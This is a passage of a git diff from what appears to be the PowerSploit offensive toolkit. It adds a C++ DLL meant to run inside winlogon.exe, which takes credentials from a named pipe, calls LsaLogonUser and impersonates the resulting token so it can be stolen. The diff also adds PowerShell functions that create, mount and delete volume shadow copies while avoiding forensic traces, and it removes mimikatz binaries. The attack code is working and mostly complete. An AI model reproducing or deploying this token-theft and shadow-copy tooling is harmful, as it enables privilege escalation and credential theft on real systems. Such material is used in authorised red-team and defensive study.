= (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset); + memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size); + return size; +} \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj new file mode 100644 index 00000000..7fd8de22 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj @@ -0,0 +1,158 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {F9DC2AAF-2213-4D87-9F52-283DA1CC6E18} + Win32Proj + LogonUser + + + + Application + true + v110 + Unicode + + + Application + true + v110 + Unicode + + + Application + false + v110 + true + Unicode + + + Application + false + v110 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters new file mode 100644 index 00000000..f92726f4 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt new file mode 100644 index 00000000..8275e56e --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : LogonUser Project Overview +======================================================================== + +AppWizard has created this LogonUser application for you. + +This file contains a summary of what you will find in each of the files that +make up your LogonUser application. + + +LogonUser.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +LogonUser.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +LogonUser.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named LogonUser.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp new file mode 100644 index 00000000..d213d3a8 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// LogonUser.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h new file mode 100644 index 00000000..cb2a53f6 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h @@ -0,0 +1,20 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" +#include +#include +#include +#include +#include +#include + + + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt new file mode 100644 index 00000000..605d3417 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : logon Project Overview +======================================================================== + +AppWizard has created this logon DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your logon application. + + +logon.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +logon.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +logon.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named logon.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp new file mode 100644 index 00000000..69b58914 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.cpp b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp new file mode 100644 index 00000000..a06da47a --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp @@ -0,0 +1,262 @@ +// logon.cpp : Defines the exported functions for the DLL application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address); +void WriteErrorToPipe(string errorMsg, HANDLE pipe); + +extern "C" __declspec( dllexport ) void VoidFunc(); + + +//The entire point of this code is to call LsaLogonUser from within winlogon.exe +extern "C" __declspec( dllexport ) void VoidFunc() +{ + //Open a pipe which will receive data from the PowerShell script. + HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (pipe == INVALID_HANDLE_VALUE) + { + return; + } + + const size_t strSize = 257; + size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t); + wchar_t* domain = new wchar_t[strSize]; + wchar_t* username = new wchar_t[strSize]; + wchar_t* password = new wchar_t[strSize]; + DWORD bytesRead = 0; + + BOOL success = ReadFile(pipe, domain, bytesToRead, &bytesRead, NULL); + if (!success) + { + return; + } + domain[bytesRead/2] = '\0'; + bytesRead = 0; + + success = ReadFile(pipe, username, bytesToRead, &bytesRead, NULL); + if (!success) + { + return; + } + username[bytesRead/2] = '\0'; + bytesRead = 0; + + success = ReadFile(pipe, password, bytesToRead, &bytesRead, NULL); + if (!success) + { + return; + } + password[bytesRead/2] = '\0'; + bytesRead = 0; + + //Get the logon type from the pipe + USHORT logonType = 10; + success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL); + if (!success) + { + return; + } + bytesRead = 0; + + //Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos + USHORT authPackageToUse = 0; + success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL); + if (!success) + { + return; + } + bytesRead = 0; + + ///////////// + //Build the parameters to call LsaLogonUser with + ///////////// + + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status); + WriteErrorToPipe(errorMsg, pipe); + return; + } + if (hLSA == NULL) + { + string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = ""; + originName.Buffer = originNameStr; + originName.Length = (USHORT)0; + originName.MaximumLength = 0; + + //Build the authentication package parameter based on the auth package the powershell script specified to use + //Also get the AuthenticationInformation + char* authPackageBuf = NULL; + DWORD authBufferSize = 0; + PVOID authBuffer = NULL; + if (authPackageToUse == 1) + { + authPackageBuf = MSV1_0_PACKAGE_NAME; + authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize); + } + else if (authPackageToUse == 2) + { + authPackageBuf = MICROSOFT_KERBEROS_NAME_A; + authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize); + } + else + { + string errorMsg = "Received an invalid auth package from the named pipe"; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + string errorMsg = "Call to GetTokenInformation failed."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Misc out parameters + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + //Log on the user + status = LsaLogonUser(hLSA, + &originName, + static_cast(logonType), + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + + //Impersonate the token with the current thread so it can be kidnapped + ImpersonateLoggedOnUser(token); + + //Put the thread to sleep so it can be impersonated + string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread."; + WriteErrorToPipe(successMsg, pipe); + HANDLE permenantSleep = CreateMutex(NULL, false, NULL); + while(1) + { + Sleep(MAXDWORD); + } + + return; +} + + +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = KerbInteractiveLogon; + writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + + +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +//Returns the amount of bytes written. +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address) +{ + size_t size = lstrlenW(str) * sizeof(wchar_t); + uniStr->Length = (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)address; + memcpy(address, str, size); + return size; +} + +void WriteErrorToPipe(string errorMsg, HANDLE pipe) +{ + const char* error = errorMsg.c_str(); + DWORD bytesWritten = 0; + WriteFile(pipe, error, strlen(error), &bytesWritten, NULL); +} \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj new file mode 100644 index 00000000..dcba5a83 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3} + Win32Proj + logon + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + + + + + + + + false + false + + + + + false + false + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters new file mode 100644 index 00000000..b63ba3c0 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp new file mode 100644 index 00000000..696fbfbf --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// logon.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.h b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h new file mode 100644 index 00000000..d8612f05 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h @@ -0,0 +1,25 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include "targetver.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/logon/targetver.h b/Exfiltration/LogonUser/LogonUser/logon/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/Out-Minidump.ps1 b/Exfiltration/Out-Minidump.ps1 index afb7dc9f..a43ee0f7 100644 --- a/Exfiltration/Out-Minidump.ps1 +++ b/Exfiltration/Out-Minidump.ps1 @@ -1,4 +1,4 @@ -function Out-Minidump +function Out-Minidump { <# .SYNOPSIS @@ -127,4 +127,4 @@ } END {} -} \ No newline at end of file +} diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 new file mode 100644 index 00000000..579dd0e9 --- /dev/null +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -0,0 +1,288 @@ +function Get-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Lists the device paths of all local volume shadow copies. + + PowerSploit Function: Get-VolumeShadowCopy + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None +#> + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } +} + +function New-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Creates a new volume shadow copy. + + PowerSploit Function: New-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + New-VolumeShadowCopy creates a volume shadow copy for the specified volume. + +.PARAMETER Volume + + Volume used for the shadow copy. This volume is sometimes referred to as the original volume. + The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. + +.PARAMETER Context + + Context that the provider uses when creating the shadow. The default is "ClientAccessible". + +.EXAMPLE + + New-VolumeShadowCopy -Volume C:\ + + Description + ----------- + Creates a new VolumeShadowCopy of the C drive +#> + Param( + [Parameter(Mandatory = $True)] + [ValidatePattern('^\w:\\')] + [String] + $Volume, + + [Parameter(Mandatory = $False)] + [ValidateSet("ClientAccessible")] + [String] + $Context = "ClientAccessible" + ) + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + # Save VSS Service initial state + $running = (Get-Service -Name VSS).Status + + $class = [WMICLASS]"root\cimv2:win32_shadowcopy" + + $return = $class.create("$Volume", "$Context") + + switch($return.returnvalue) + { + 1 {Write-Error "Access denied."; break} + 2 {Write-Error "Invalid argument."; break} + 3 {Write-Error "Specified volume not found."; break} + 4 {Write-Error "Specified volume not supported."; break} + 5 {Write-Error "Unsupported shadow copy context."; break} + 6 {Write-Error "Insufficient storage."; break} + 7 {Write-Error "Volume is in use."; break} + 8 {Write-Error "Maximum number of shadow copies reached."; break} + 9 {Write-Error "Another shadow copy operation is already in progress."; break} + 10 {Write-Error "Shadow copy provider vetoed the operation."; break} + 11 {Write-Error "Shadow copy provider not registered."; break} + 12 {Write-Error "Shadow copy provider failure."; break} + 13 {Write-Error "Unknown error."; break} + default {break} + } + + # If VSS Service was Stopped at the start, return VSS to "Stopped" state + if($running -eq "Stopped") + { + Stop-Service -Name VSS + } +} + +function Remove-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Deletes a volume shadow copy. + + PowerSploit Function: Remove-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Remove-VolumeShadowCopy deletes a volume shadow copy from the system. + +.PARAMETER InputObject + + Specifies the Win32_ShadowCopy object to remove + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Remove-VolumeShadowCopy + + Description + ----------- + Removes all volume shadow copy + +.EXAMPLE + + Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + + Description + ----------- + Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 +#> + [CmdletBinding(SupportsShouldProcess = $True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String] + $DevicePath + ) + + PROCESS + { + if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed")) + { + (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() + } + } +} + +function Mount-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Mounts a volume shadow copy. + + PowerSploit Function: Mount-VolumeShadowCopy + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link. + +.PARAMETER Path + + Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved. + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS + + Description + ----------- + Create a mount point in 'C:\VSS' for each volume shadow copy volume + +.EXAMPLE + + Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + +.EXAMPLE + + Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ } +#> + + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String[]] + $DevicePath + ) + + BEGIN + { + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + # Validate that the path exists before proceeding + Get-ChildItem $Path -ErrorAction Stop | Out-Null + + $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False) + + # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection + # (i.e. none of the forensic artifacts left with using Add-Type) + $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([String], [String], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($true)) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32Type = $TypeBuilder.CreateType() + } + + PROCESS + { + foreach ($Volume in $DevicePath) + { + $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null + + $LinkPath = Join-Path $Path $Matches.LinkName + + if (Test-Path $LinkPath) + { + Write-Warning "'$LinkPath' already exists." + continue + } + + if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1)) + { + Write-Error "Symbolic link creation failed for '$Volume'." + continue + } + + Get-Item $LinkPath + } + } + + END + { + + } +} diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll deleted file mode 100644 index 83b3a439..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp deleted file mode 100644 index a6fb9577..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib deleted file mode 100644 index 0f5d0476..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll b/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll deleted file mode 100644 index ea6081a2..00000000 Binary files a/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp deleted file mode 100644 index ce21b163..00000000 Binary files 